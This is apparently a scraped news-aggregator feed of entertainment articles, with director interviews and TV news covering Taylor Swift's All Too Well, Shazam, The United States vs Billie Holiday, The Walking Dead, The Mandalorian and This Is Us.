Regarding capturing her authentic vision while still maintaining a sense of naturalism, Swift assures that she isn’t like certain directors who want a specific “kind of precision.” “You have this vision in your head [where] you know what you’re going for in terms of the effect, but how much do you direct the detail of your actor’s performances? With this one, it was really about naturalism, so we’re not trying to get a perfectly symmetrical shot.” 

A man and a woman in a car in All Too Well.

She goes on to clarify that while she “loves Wes Anderson,” they “were going for more of that heart-throbbing naturalism within those moments […] where you know they’re falling in love, and there’s chemistry.” While she extensively planned most of the shoot, she “wanted to have this sort of collage kaleidoscope of memories at the end” that she could find in the edit to heighten the emotional impact of the film. 

Casting Sadie Sink and Dylan O’Brien

When casting her project, Swift had her mind set on two names from the start: Stranger Things star Sadie Sink (also seen at TIFF co-starring alongside Brendan Fraser in Darren Aronofsky’s The Whale) and Teen Wolf alum Dylan O’Brien. “It was what my heart needed,” Swift says. “I had never seen either one of them play roles like this before, [but] I’d seen them ace anything that was put in front of them. I thought, ‘I wonder if Sadie Sink wants to play a romantic lead?’ I knew I hadn’t seen it yet, but she’s at that perfect point in her career where she could absolutely […] eat this up.”

Sadie Sink looks back in All Too Well.

How crucial was Sink to her creative process? “When I was writing it, I was writing Sadie. I wasn’t writing thinking of any other actress or a generic, beautiful, wide-eyed young person. I was writing it for Sadie, and if she would have said no, I don’t know if I would have made the film.” For O’Brien, what drew Swift to him was his deceitful charisma: “He’s got this dangerous charm. He’s not dangerous, but he’s dangerously charming, and that is just a power that he has.”

She took a big swing to win them over, bypassing their management teams and reaching out to both of them over the phone. “I texted Dylan the longest text you’ve ever seen. When I read it back, I was like, ‘that was too much.” For Sink, it was a “long, long text, and then a call.” What was in those texts? Swift admits she “wasn’t trying to be cool at all.” “I was just like ‘Please, please, please, please, I promise no one will work harder to make this good than me.’” She pauses for a second. “I don’t know if I went that far, but they were amazing. They didn’t need to be convinced in a way that I was able to pick up on.”

Did Swift have any other actors in mind? “I didn’t have a backup plan, and I was just so happy that they trusted and believed in me [as] a first-time short film director.” She then says candidly, “I just couldn’t believe that they wanted to do it. I still can’t believe that anybody wanted to do this with me. I’m so happy about it!”

A man and a woman look at each other in All Too Well.

She didn’t screen test or rehearse with them together before casting them, but she knew it would work out with proper preparation. In fact, she discussed scenes with the actors so much that certain scenes ended up being “oners.” To Swift, knowing how to improvise and tap into the moment was essential, especially for the pivotal, music-less fight scene. “I think you can tell a lot about people based on how they fight or argue.

When it came time to shoot the fight, we had scripted it out, but I had talked to Dylan and Sadie so much about what their intentions were and who and what exactly it was that was the catalyst for this fight. I was dealing with such emotionally intelligent actors that when we shot it, about 92% of that scene was improvised.” The move pays off, with the scene standing tall as a revelation of her directorial talents, gracefully channeling the spirit of Cassavetes through her spellbinding direction.

Taylor Swift … film director?

When asked about her future in film and how she’d weave her cinematic ventures into her ongoing music career, Swift responds with the candor of a confident but thankful artist striving to prove herself as a multidisciplinary talent: “I have a lot of bandwidth to put into creative [endeavors]. I am so lucky to be supported by kind, generous, nice, thoughtful people who seem to care about the things I make. I keep working hard, trying my best, and I would absolutely love to expand in terms of filmmaking and storytelling. It’s a natural extension of my writing.”

Taylor Swift as the older Sadie Sink character in All Too Well.

What’s next for her as a director? “I think I will always want to tell human stories about human emotion. I can’t imagine myself filming an action sequence. I could see [myself] going in a more comedic irreverent place. The next step would be committing to making a [feature] film, and I feel like I would love for the right opportunity to arise because I absolutely adore telling stories this way […] if it were the right thing, it would be such a privilege and honor.”

Swift takes time to acknowledge the privilege her position of fame in the music industry has given her in her smooth move into the film industry, especially when compared to other female filmmakers: “I’m in an incredibly privileged place to have gotten to finance this short film independently because when we talk about female filmmakers, I am one of them, but there are people who are working so hard to get financing and to get any type of budget together to make the projects they want to make. I honestly bow down and tip my hat to those female filmmakers.”

The progress the industry has made in recent years, though, is admirable, according to Swift. “It’s really beautiful that we’re in a place where the idea of a female filmmaker doesn’t make you roll your eyes or think as skeptically as it once was, and we have so many incredible female filmmakers to thank for that.”

She mentions Greta Gerwig, Eternals director Chloe Zhao, Nora Ephron, and Lena Dunham (a “good friend” who is “always there if she has a question”) as female filmmakers who inspire her. With her astounding depth of cinematic knowledge and grand artistic ambition, one should not be surprised if Swift soon finds herself listed alongside those names in the eyes of young female filmmakers across the globe. 

Dylan O' Brien carries Sadie Sink in All Too Well.

The fact that All Too Well is the piece that is launching Swift’s film career is a miracle in itself. “It was [always] a song that I loved so much, but it was never chosen by the team in a conference room as being a single. Nobody saw the potential in it except for the fans who loved it so much that they made it their favorite song on that album. The song was tough because it was very current for me. There would be no world in which I could have made a visual element to that song at that point in time. I needed 10 years of retrospect in order to know what I would even make to tell a version of that story visually, and I’m so grateful that I was able to do that with some crazy stroke of all these different twists of fate.”

Although she started her career in music, through film, Taylor Swift has found something greater. “As a storyteller, you’re just sitting there thinking it is the most brilliant thing when that many people can come together to collaborate. When I’m making music, it’s usually either me writing on my own, or I’m in a studio with one other person. That feels collaborative and fun, but when you are on a film set, sometimes you just catch yourself looking over at the camera operator, or the first AD, or someone hanging a light in the perfect exact spot, and you cannot believe how talented and so specialized and brilliant these people are. We’re all working together, and when you have it culminate in what [we] did during this short film, it feels like a big group hug.” 

]]> https://briefnews.eu/taylor-swift-on-making-all-too-well-her-favorite-movies-and-her-future-as-a-director/feed/ 0 Shazam! Director David F. Sandberg Almost Directed A Completely Different Superhero Movie https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/ https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/#respond Wed, 07 Sep 2022 08:33:30 +0000 https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/

One of the most notable aspects of David F. Sandberg’s 2019 superhero film “Shazam!” is its sense of wide-eyed wonderment. The title character is a tall, muscular, adult superhero with lightning powers and the ability to fly. In actuality, Shazam is the alter ego of one Billy Batson (Asher Angel), an orphaned teen who, through a complicated set of circumstances, acquired the ability to become a superpowered adult. Much of “Shazam!” is devoted to Billy and his foster brother Freddy (Jack Dylan Grazer) reacting with astonishment to Billy’s new superpowers. Indeed, it takes Billy and Freddy the bulk of “Shazam!” to realize that being a superhero involves more strength of character than raw power. 

The film’s “little kid” sense of awe is something that is woefully missing from a lot of modern superhero cinema which increasingly skews toward oblique interconnected mythologies and the turgid navel-gazing of Nietzschean overmen. “Shazam!” is light and fun and understands the appeal superheroes have for youths. It’s the best superhero movie at least since Sam Raimi’s “Spider-Man 2.”

Given its fresh-faced innocence and little-kid appeal, it’s bizarre to think that Sandberg was once attached to a far stranger and weirder superhero flick. In a recent interview on Instagram, portions of which were transcribed on CBR, Sandberg revealed that he almost took on the alien parasite film “Venom.”

Venom

For “Spider-Man” fans, Venom is a well-understood and long-established villain who has been giving Spider-Man trouble since his creation in 1988. For outsiders, his origin is incredibly oblique. The story goes — very briefly — that Spider-Man, while visiting an alien world (don’t ask), stepped into a machine that wrapped his body in a brand new, all-black Spider costume. It would eventually be revealed that his new outfit was not made of cloth, but was in fact a living, intelligent alien blob that could bond with a host organism and change itself into clothes. The blob ended up seeping too deeply into Spider-Man’s brain, necessitating that he painfully separate himself from the symbiote. It then wrapped itself around a man named Eddie Brock, a rival of Peter Parker’s, warping into a large, fanged, cannibal version of Spider-Man. Functionally, Venom (as it called itself) is Spider-Man’s evil twin. 

Rueben Fleischer’s 2018 film “Venom” is comfortably separated from “Spider-Man,” and Eddie Brock (Tom Hardy) is merely infected by an alien parasite. When it emerges from his body and wraps itself around Eddie, it looks like a shark made of tar and snot. Venom may have been part of the pop consciousness for 30 years, but it still looks dang ugly.   

Sandberg revealed that he was once offered the chance to direct “Venom” when a fan asked point blank if he had ever been offered anything. Sandberg’s answer was brief: “I read the script for and had a meeting about ‘Venom’ but I was already going down the path of ‘Shazam!’ and felt that I’d rather do that than pursue ‘Venom.'”

It’s as simple as that. Sandberg just wanted to do “Shazam!” more.

Their Sequels

Both “Shazam!” and “Venom” have one notable thing in common: they gain power from their own characters and stories and don’t rely exclusively on their connection to other films in a franchise. “Venom,” at least until a post-credits stinger, doesn’t link to other films in any other Marvel Comics film canon, and “Shazam!,” in having a few references to Batman and an adorable cameo from Superman, is part of the DCEU. But otherwise, both films are stronger for living in their own worlds. Although tonally very different, both movies are arguably good for the same reason. 

They were also big hits. “Shazam!” made $ 366 million, and “Venom” made a whopping $ 856 million. “Venom: Let There Be Carnage,” a bonkers, 90-minute trifle, expanded the relationship between Eddie and his symbiote into a straight-up queer romance, while “Shazam! Fury of the Gods” will pit Billy against villains played by Helen Mirren and Lucy Liu. “Fury of the Gods” is due in theaters on March 17, 2023. 

With the “Spider-Man” extended universe in a bizarre place (“Madame Web,” anyone?) and the future of the DCEU uncertain, it seems “Venom” and “Shazam!” will remain stalwart in being disconnected. Thank goodness. 

Read this next: What These DC Villains Really Look Like Under The Makeup

The post Shazam! Director David F. Sandberg Almost Directed a Completely Different Superhero Movie appeared first on /Film.

]]> https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/feed/ 0 The United States vs Billie Holiday Director Lee Daniels on Jazz Icon: ‘Her Imperfection Is What Made Her Perfect’ https://briefnews.eu/the-united-states-vs-billie-holiday-director-lee-daniels-on-jazz-icon-her-imperfection-is-what-made-her-perfect/ https://briefnews.eu/the-united-states-vs-billie-holiday-director-lee-daniels-on-jazz-icon-her-imperfection-is-what-made-her-perfect/#respond Wed, 24 Feb 2021 14:51:34 +0000 https://briefnews.eu/the-united-states-vs-billie-holiday-director-lee-daniels-on-jazz-icon-her-imperfection-is-what-made-her-perfect/

RELATED STORIES

Billie Holiday didn’t particularly enjoy singing “Strange Fruit,” a chilling anti-lynching anthem that compared Black bodies to fruit hanging from a tree, but she knew it was too important to not be performed.

The song, which earned the sympathy of her Black and white patrons, made her a threat to the FBI and marked the early beginnings of the Civil Rights movement, serves as the centerpiece of Lee Daniels’ forthcoming The United States vs Billie Holiday.

Set to premiere this Friday, Feb. 26 on Hulu, the film follows the legendary jazz singer’s courageous resolve to perform the provocative piece as the FBI made every effort to silence her — like stripping her of her license to perform in jazz bars — under the pretense of a war on drugs (the singer also battled drug addiction). Daniels, who admitted that he had no idea the government went after Holiday for singing “Strange Fruit” before reading Suzan-Lori Parks’ script, says he felt compelled to spotlight this crucial period of her life on screen.

“The government has succeeded all these years not to tell our true stories,” he tells TVLine. “I had to bring it to light.”

An all-star cast has assembled to bring the singer’s story to life, including “Rise Up” singer Andra Day in the titular role; Trevante Rhodes as Jimmy Fletcher, the undercover FBI agent who embeds himself in Holiday’s life; Natasha Lyonne as Holiday’s alleged lover Tallulah Bankhead; Garrett Hedlund as Harry Anslinger, the head of the Federal Bureau of Narcotics who wages war against Holiday; and Leslie Jordan as Reginald Lord Devine, a journalist interviewing her about “Strange Fruit.”

In an interview with TVLine, Daniels opens up about tackling Holiday’s tumultuous life, what this film says about her legacy, and why he finds no comfort in the success he’s achieved so far.

TVLINE | Did you feel an added importance to getting Billie Holiday’s story right and told to as many people as possible?
It’s terrifying, which is one of the reasons why I was excited about working with Andra Day. She was as terrified in making sure that we got the story right as I was. Not all of it is accurate — we made up Jimmy Fletcher’s storyline with his mom [because] we couldn’t find out what his parents did. But [her] story is so powerful and so sad. It just made me realize she’s a Civil Rights leader. She kicked off that movement as we know it to be.

TVLINE | What did “Strange Fruit” mean to you when you first heard the song, and how did your impression of it change once you started working on this film?
I heard it for the first time when I was a teenager watching Lady Sings the Blues [starring Diana Ross as Billie Holiday], and I didn’t really understand what it was about. I didn’t connect it with lynching at all. It wasn’t until I began production on this film that I understood the lyrics and had a brand new understanding of Billie Holiday and the power of what that song was about.

TVLINE | What was it like working with Andra Day on capturing Billie’s essence on film?
It was mesmerizing. I think it was a once-in-a-lifetime experience. I’d never encountered someone that… It was God’s work that inhabited her. She became Billie in a way that I haven’t seen with other actors.

TVLINE | This film takes a no-holds-barred approach to Holiday’s story. Were you ever nervous about diving into the darker moments of her life that are portrayed in this film?
Sadly, we had to. [You can’t really do this] without leaning into all facets of Billie’s life. Oftentimes, as a Black filmmaker, we want to paint our heroes in a specific light. We want them [to be] perfect. For me, her imperfection is what made her perfect and I think that we don’t see complex characters like that up on the screen. Especially as Black people, we don’t see that, but that’s who we are.

TVLINE | I remember an interview with Wayne Brady who, while discussing playing a villain in Black Lightning, touched on the important of portraying multifaceted Black characters — the good and the bad.
Oftentimes Black people don’t want to see a bad side of us, but I don’t think we’re going to grow and really get back our country and do the things that we need to do unless we can embrace our wholeness.

TVLINE | What do you think this film says about Billie’s legacy, and what do you want people to take away from it after watching?
I think that it says that she was not just a troubled jazz singer, as the media and the government have painted her out to be, but rather she was the godmother of the Civil Rights Movement. It’s great that I’m able to tell the story of this fearless woman, and I think the takeaway is that if Billie Holiday could do what she did during that time period, then we could do a lot more.

TVLINE | This film touches on the anti-lynching bill in the ’30s that never passed, and a new bill introduced in 2019 that also has yet to be passed into law. What do you think that says about the progress we’ve made so far?
Until that bill is passed, we ain’t made no progress at all. That we’re even in this conversation is crazy. That wasn’t in the script. We didn’t know until we were three-quarters of the way through shooting about the lynching laws, and it’s hard. People say that this movie is timely — of course it’s timely. It was timely 20, 40 years ago, and it’s going to be timely 20, 40 years from now until America does the work to heal this ugly sore that festers.

TVLINE | What does that work look like, in your opinion?
It means that we have to understand, Black people and white, what systemic racism is. There’s much learning to be done.

TVLINE | And there’s much learning to be done outside of social media. I know I can do better at that, too.
I’m learning more every day, things that I thought I understood about racism. I pretended for such a long time that I just couldn’t acknowledge that it was affecting me. I put blinders on because if I dared to look at it, I don’t know that I would be where I’m at right now. If I had thought that people didn’t like me because I was Black, that the system was stacked against me, if I walked in with that sort of [mentality]… it’s a hard reality.

TVLINE | At what point in your career did you make that realization?
I think during Empire is when I realized that we had something as a culture to give back, we had something strong and powerful. I was surprised even at myself at the amount of viewership that we had. I can look back on it now and say that it shifted the culture. I don’t think there wouldn’t be a Black Panther or Insecure or any of those shows, had White America — and the world, really — not seen what it is that we do when we are on. Those numbers are through the roof, and that hadn’t been seen before.

TVLINE | Yeah, Empire was a cultural shift.
I’m so busy working that I don’t really think about making history. I just tried to make sure Cookie’s hat was on right.

TVLINE | Sometimes it’s important to stop and look back at your accomplishments.
I come from poverty. I’m still afraid that I’ll wake up and it’s all gone. I want to make sure that my kids are taken care of so I don’t think about it. I’m just doing the work. You don’t think about fighting… I remember having to fight for John Singleton to direct an episode of Empire. There are all these roadblocks that are put in front of us: “Well, he hasn’t done television before” or “This person isn’t in the union” and “This person hasn’t written any television before.” All this stuff is there, but I was ready to fight, and I take for granted that I was fighting all the way because it’s been all my life. It has been a miracle because no studios have done [my] films. They’ve each been independently financed. Nobody believed in me or the stories that I was trying to tell. And oftentimes, my people don’t even believe in me or the story that I’m trying to tell. I get a lot of heat that they’re controversial, if you will, according to people.

Also read our Black+Bold profiles on Suzan-Lori Parks (Genius: Aretha, The United States vs Billie Holiday), Queen Latifah (The Equalizer), Malcolm Spellman (The Falcon and the Winter Soldier), Ava DuVernay (Queen Sugar), Yvette Lee Bowser (Single Ladies, Run the World) and Gina Yashere (Bob Hearts Abishola).

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]]> https://briefnews.eu/the-united-states-vs-billie-holiday-director-lee-daniels-on-jazz-icon-her-imperfection-is-what-made-her-perfect/feed/ 0 The Walking Dead season 10 finale: Director finally shares return date details https://briefnews.eu/the-walking-dead-season-10-finale-director-finally-shares-return-date-details/ https://briefnews.eu/the-walking-dead-season-10-finale-director-finally-shares-return-date-details/#respond Thu, 07 May 2020 00:59:25 +0000 https://briefnews.eu/the-walking-dead-season-10-finale-director-finally-shares-return-date-details/

AMC’s latest thrilling ride through the post-apocalypse set up a pivotal battle to come in the season finale of The Walking Dead. Although the episode’s release has been delayed due to the coronavirus outbreak, a director for the series provided some crucial insight.

Filming for season ten of TWD wrapped up in November 2019, so it was a shock when AMC revealed the finale had been put on hold.

Despite the cast wrapping up their time working on the series for now, the network confirmed some major post-production work needed to be finished before the finale was fit for broadcast.

This includes key details such as editing, sound mixing and special effects, which were all incomplete before the COVID-19 pandemic put TV production around the globe on hiatus.

A post from AMC’s twitter page confirmed: “Current events have unfortunately made it impossible to complete post-production of The Walking Dead Season 10 finale, so the current season will end with its 15th episode on Sunday, April 5.”

READ MORE: The Walking Dead: Will Beta die in season 10 episode 16?

Reassuring fans, the post added: “The planned finale will appear as a special episode later in the year.”

Renowned director for the series Greg Nicotero recently confirmed some more behind-the-scenes details regarding the current status of the finale.

Known for his special effects work with original zombie maestro George A. Romero and directing some of the biggest episodes of TWD, Greg is the best person to ask for information about the release of the most popular undead franchise in recent years. 

Greg directed the upcoming season ten finale, A Certain Doom, and was luckily available to comment on the situation during a session with EW Live.

The director explained: “You have to edit the episode, then you do sound effects, and then you do music, and then visual effects, and then color timing to make sure all the colors in all the scenes match, and then you have to do a quality check to make sure nothing is messed up.”

With episode 15, The Tower, setting up a climactic battle between Beta (Ryan Hurst), the Whisperers and the remaining survivors, the season ten finale was undoubtedly a major technical undertaking.

Greg continued: “So there are all these steps that have to happen, and generally speaking, the way our production schedule works is those happen up to about three weeks before the episode airs.”

Despite on-set work on the last episode wrapping up in November, editing and special effects duties weren’t expected to be completed until around March 22.

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Given this deadline fell just before world leaders began enforcing lockdown practices, some key work on the finale was left incomplete.

Greg added: “So we just missed that window. It wasn’t that the effects were delayed or anything was delayed. It was just the delivery of the episode was set to be delivered at a specific date and we had to shut down before they hit that date.”

Thankfully, Greg Nicotero had some incredibly positive words for what is sure to be a thrilling season finale for the latest acclaimed season of The Walking Dead.

The director said: “It’s a really amazing episode. I love the way episode 15 ends where you see Beta bringing the herd to the tower where everybody is holed up. There’s a lot teed up, so to speak.”

Greg Nicotero is also known for his revival of Creepshow for horror streaming platform Shudder.

The first season is currently available, but the coronavirus has unfortunately impacted his work on season two in addition to post-production of The Walking Dead.

With the US beginning to ease lockdown restrictions, production on A Certain Doom is hoped to pick up again at some point this year, with AMC maintaining the episode will air in 2020.

The Walking Dead season 10 is hoped to conclude in 2020 on AMC.

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]]> https://briefnews.eu/the-walking-dead-season-10-finale-director-finally-shares-return-date-details/feed/ 0 The Walking Dead: Director puts Negan ‘through the ringer’ after Whisperer war fallout https://briefnews.eu/the-walking-dead-director-puts-negan-through-the-ringer-after-whisperer-war-fallout/ https://briefnews.eu/the-walking-dead-director-puts-negan-through-the-ringer-after-whisperer-war-fallout/#respond Wed, 06 May 2020 03:46:46 +0000 https://briefnews.eu/the-walking-dead-director-puts-negan-through-the-ringer-after-whisperer-war-fallout/

Season 10’s thrilling finale of AMC’s zombie saga is hoped to release at a later date in 2020. In the meantime, one of The Walking Dead’s key directors has teased dark time ahead for a core member of the cast.

Despite being infamous as one of the most morally dubious presences among the cast of The Walking Dead, Negan (played by Jeffrey Dean Morgan) took a step toward redemption in season ten.

Using his familiar tactic of subterfuge and double crossing, Negan used his wits to take down the formidable leader of the Whisperer forces, Alpha (Samantha Morton).

Now the sinister adversary has been dealt with once and for all, her brutal second-in-command, Beta (Ryan Hurst) is set to take her place at the head of the Whisperer’s vast army.

As the action heats up towards a climactic conclusion, one of the directors for the series has revealed some intriguing insight for the upcoming 11th season.

READ MORE: The Walking Dead: Showrunner reveals where Beta is heading

Actor-turned-director Michael Cudlitz was renowned for portraying one of Negan’s victims in season seven, the tough and volatile Sgt. Abraham Ford.

Michael has since taken on production duties for the series, directing three episodes of TWD throughout seasons nine and ten.

The new director for the series teased there may be tough times for Negan ahead, though he specified it wouldn’t be revenge for Michael’s fate in the series. 

He made his revealing comments during a remote appearance on Friday Night In with The Morgans, hosted by Jeffrey Dean Morgan himself, alongside his wife Hilarie.

Michael said: “I want to put Negan through the wringer because it would be fun to watch, but not for revenge.”

Although Abraham’s death in season seven, during a brutal scene which also featured the tragic demise of fan favourite Glenn (Steven Yeun), was hard to watch, Michael confirmed it was great fun for the cast involved.

He continued: “When we do panels and stuff at conventions and [people] ask, ‘What was the hardest scene you’ve ever done?’ We loved that.

“When you guys think, ‘That was so hard,’ we love being emotionally available and going through things that we haven’t gone through before, or things that we have gone through before in a different way with amazing scene partners.

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“Getting put through the wringer, as you guys would think, that’s like a day at Disneyland for us.”

The interview with Michael revealed some of the most decisive and grisly moments on TWD are actually some of the best for the actors to get involved with.

Most recently, Negan got physical with Alpha in season 10 in both senses of the word as, after a moment of intimacy with the Whisperer leader, Negan was able to decapitate the lethal antagonist in a visceral fight scene.

As it stands, TWD’s tenth season has concluded following AMC’s broadcast of stand-in finale, The Tower, due to the coronavirus lockdown putting television production on hold.

However, AMC confirmed the season finale, A Certain Doom, will be ready for the public as soon after lockdown restrictions have lifted.

Subsequently, fans are hoping season ten will eventually conclude at some point in 2020.

Meanwhile, hype for season 11 remains as strong as ever, as the next instalment is set to adapt Robert Kirkman’s gripping Commonwealth arc from his original comic book run.

The Walking Dead season 10 is hoped to conclude in 2020 on AMC.

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]]> https://briefnews.eu/the-walking-dead-director-puts-negan-through-the-ringer-after-whisperer-war-fallout/feed/ 0 The Mandalorian: Robert Rodriguez Confirmed as a Season 2 Director https://briefnews.eu/the-mandalorian-robert-rodriguez-confirmed-as-a-season-2-director/ https://briefnews.eu/the-mandalorian-robert-rodriguez-confirmed-as-a-season-2-director/#respond Tue, 05 May 2020 06:34:05 +0000 https://briefnews.eu/the-mandalorian-robert-rodriguez-confirmed-as-a-season-2-director/

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Once Upon a Time in… Nevarro?

Filmmaker Robert Rodriguez — whose credits include El Mariachi, Once Upon a Time in Mexico, Sin City and Spy Kids — confirmed that he is among those who directed a Season 2 episode of Disney+’s flagship series The Mandalorian.

The news came on May 4 aka “Star Wars Day,” which also was when Disney+ premiered Disney Gallery: The Mandalorian, an eight-episode docuseries (that resumes Friday with weekly releases).

Sharing a photo of himself with the Child (aka “Baby Yoda”), Rodriguez tweeted, “I am truly humbled to say I have now had the very rare privilege of directing the biggest star in the universe.”

Rodriguez’s previous few TV credits include From Dusk Till Dawn: The Series, which was an offshoot of the 1996 pulp film he directed.

Also on Star Wars Day, Peyton Reed (director of Ant-Man and its sequel) confirmed that he, too, had helmed an installment in The Mandalorian‘s sophomore run, which completed production in March and is set for an October premiere.

Season 2’s directors also include Dave Filoni (who helmed the Mandalorian pilot and Season 1’s “The Gunslinger”), Rick Famuyiwa (who directed Season 1’s “The Child” and “The Prisoner”), cast member Carl Weathers and series EP Jon Favreau.

Are you curious to see what R-Rod brings to the Mandoverse?

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]]> https://briefnews.eu/the-mandalorian-robert-rodriguez-confirmed-as-a-season-2-director/feed/ 0 GMB descends into chaos as Kate Garraway yells at guest ‘our director is having a fit’ https://briefnews.eu/gmb-descends-into-chaos-as-kate-garraway-yells-at-guest-our-director-is-having-a-fit/ https://briefnews.eu/gmb-descends-into-chaos-as-kate-garraway-yells-at-guest-our-director-is-having-a-fit/#respond Sat, 07 Mar 2020 22:43:31 +0000 https://briefnews.eu/gmb-descends-into-chaos-as-kate-garraway-yells-at-guest-our-director-is-having-a-fit/

“We will put details of how you can get the tickets – don’t drop it again,” Ben warned their guest but Lee argued: “It’s only funny the second time around!” 

“Do it again!” Kate joked but Ben continued: “Can we just say, spin round, the team from Unicef are in and they are absolutely panicking. Lee stop it.” 

“Please stop,” Kate added, but Lee was on a roll as he continued: “Oh look you can see the reflection of all your cameras, look at that, you can see your autocue look at that! We thought you were making all of this up – you liars!” 

He then went onto speak about the upcoming match but made another blunder which Ben couldn’t help but comment on. 

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]]> https://briefnews.eu/gmb-descends-into-chaos-as-kate-garraway-yells-at-guest-our-director-is-having-a-fit/feed/ 0 Peaky Blinders season 6 release date revealed as huge clue exposed by BBC Director? https://briefnews.eu/peaky-blinders-season-6-release-date-revealed-as-huge-clue-exposed-by-bbc-director/ https://briefnews.eu/peaky-blinders-season-6-release-date-revealed-as-huge-clue-exposed-by-bbc-director/#respond Mon, 27 Jan 2020 19:48:15 +0000 http://briefnews.eu/peaky-blinders-season-6-release-date-revealed-as-huge-clue-exposed-by-bbc-director/

If fans squint hard enough, “8th January 2021” seems visible and many took to the comments section of the post to cast their thoughts. 

Could this be the release date of the sixth series?

“08.01.2021,” one Instagram user wrote accompanied by the side eyes emoji. 

Another added: “Does that say 2021?” While a third chimed: “I swear that says 8th January 2021.” 

While nothing has been confirmed, January 2021 seems like a plausible date for the next series to be aired on television screens up and down the nation. 

The first series hit BBC Two back in September 2013, with the second arriving the following October. 

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]]> https://briefnews.eu/peaky-blinders-season-6-release-date-revealed-as-huge-clue-exposed-by-bbc-director/feed/ 0 This Is Us Director Milo Ventimiglia on Kate’s Ominous, ‘WTF?!’ Final Scene https://briefnews.eu/this-is-us-director-milo-ventimiglia-on-kates-ominous-wtf-final-scene/ https://briefnews.eu/this-is-us-director-milo-ventimiglia-on-kates-ominous-wtf-final-scene/#respond Wed, 23 Oct 2019 03:27:46 +0000 http://briefnews.eu/this-is-us-director-milo-ventimiglia-on-kates-ominous-wtf-final-scene/

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Not quite sure what happened at the end of this week’s This Is Us? Good, says Milo Ventimiglia, who pulled double duty by acting in and directing the episode: That was the point.

A scene at the end of the hour found adult Kate and Rebecca sifting through Polaroids taken when The Big Three were around 18. The women cheerfully reminisced… until they came across a photo of teenage Kate and her boyfriend, Marc, that gave them pause. The conversation then turned to what Rebecca wished she’d been able to see unfolding before her during those tough years immediately following Jack’s death. Was she referring to abuse? Something else? Viewers were left to wonder. (Read a full recap here.)

The moment was one of several emotionally fraught ones in the episode, and Ventimiglia tells TVLine that much of his preparation for directing his first installment of the drama centered on getting them exactly right.

“Once I visualized everything and understand what I need, then it’s, ‘How do I shoot it efficiently?’ Not only for the crew, but for the actors coming in. How do I not overshoot and wear someone down in their performance, because there are some pretty heavy beats,” he says. Among them: Randall and Beth’s handling of Tess’ newly discovered anxiety issues, Kevin’s burgeoning friendship with Cassidy and Rebecca’s blowup at her kids in the kitchen. And then…

This Is Us Season 4 Episode 5 Milo Ventimiglia“Oh my God, Kate in the very ending,” he adds. “We need the audience to ask the question: ‘What the f–k happened?!’” And lest you think you’re reading too much into Kate and Rebecca’s reactions to the shot of Marc, “It’s 100 percent a thing,” he confirms.

Read on as Ventimiglia takes us through his turn behind the camera — and the Easter eggs you might’ve missed.

TVLINE |This was quite the episode to direct.
Yeah. There was a lot going on in it, right?

TVLINE | Yeah — let’s start there. It seemed like there were a lot of small scenes that needed to be nailed. Accurate read?
Sure.

TVLINE | From a directorial standpoint, do you find that tougher? Easier?
No. I mean it doesn’t matter if something is a tiny scene or a seven-page walk-and-talk. They’re all the same. Whatever these characters are going through, whatever story you have to service, it’s all the same. There are no big or small moments. All scenes are equally important. But knowing that, it was like, “How do I shoot the show efficiently so that I’m not undercutting one moment versus another?” There was a lot of micro detail within a scene for each character, so it’s just tracking all that. What it really came down to for me as a director was homework and preparation.

TVLINE | Give me a sense of what the prep looked like for you.
For me, it’s reading the script, taking some notes on things that stood out. It’s a lot of visualizing. I really need to see it, and a lot of that visualization happens from visiting the sets and spending some time just walking around. When I was a younger actor and I would do theater, I would spend a lot of time just walking around stage and becoming intimately knowledgeable of every detail on stage or in a set — and [in this episode], we had quite a few sets that were new that were never built. So Rebecca and Kate’s new home, I had to wait until maybe a day or two before we started filming before I could really walk around and understand, But we have an amazing production team. I said, “Can we get the couches oriented this way? Or move the table here, get a refrigerator over here?” It’s like, “Help me out in getting the set pieces together.”

This Is Us Season 4 Episode 5 Milo Ventimiglia… [There were] all these little details. I mean there’s even little Easter eggs I kind of threw into it, just because it made me laugh and chuckle. In that stack of photos in the piano bench, there were some photos of Jack and Rebecca from the past when they were younger. Mandy and I took those the first episode back just as a fun thing, and I handed them off to our prop guy. Just like, “Maybe we’ll use these later on,” and it turns out we’re using them. Maybe we go back and revisit that moment, or a little nod to the pilot with my opening with all the boxes and whatnot. So there are things. The detail is well thought-out.

TVLINE | Most of the cast was in this episode.
Yeah. Just about everybody.

TVLINE | Is there anyone you feel like you now have a greater kinship with, because of the directing?
You know, because I hadn’t really been on set with the adult Big Three — Sterling [K. Brown], Justin [Hartley], Chrissy [Metz] —  I think there was a little caution from them to be like, “OK, how is this going to go?” Sterling and I, we found right away this rhythm of working where… I mean, I was basically there just to serve these actors and serve this crew and offer advice and points of view and perspective when maybe I saw an opportunity to go from a good performance to a great performance. My job was also do that quickly. Get people onboard and let them know that you’re there looking out for them and you’re not going to make them look bad and you’re going to support them and help them along the way.

We have pros on set and everybody is great and everybody wants to be there and is excited to be there. All I was there to do was help find little nuances to make great performances really amazing.

TVLINE | These are two very dumb questions to close us out, especially after your very thoughtful answers so far. But bear with me. First, what was in the ice cream carton? Because it wasn’t ice cream.
[Laughs] No, it was not. I think it was kind of like a giant stick of butter. We needed something that wasn’t going to melt on us. We needed something that was going to cut like ice cream, which it did. It was like a sweet stick of butter. It was kind of delicious, but you really didn’t want to eat too much of it.

TVLINE | During the very funny scene with the pigeon in the house, was it hard for you or Mandy not to break? I imagine a lot of what you were doing was kind of off the cuff.
There was a lot of humor in it, and we did laugh about a lot of it. But at the end of the day it was just one of those days you kind of cross your fingers and you do the homework and you get everybody on the same page and you hope that everything works out. By the end of it, I was exhausted and really elated with what we got. I felt like we got everything. The bird was remarkable. The scenes we actually filmed with the bird were really great. The bird performed, so much so that we had very little need for [special effects], but it really folded in nicely with the [special effects].

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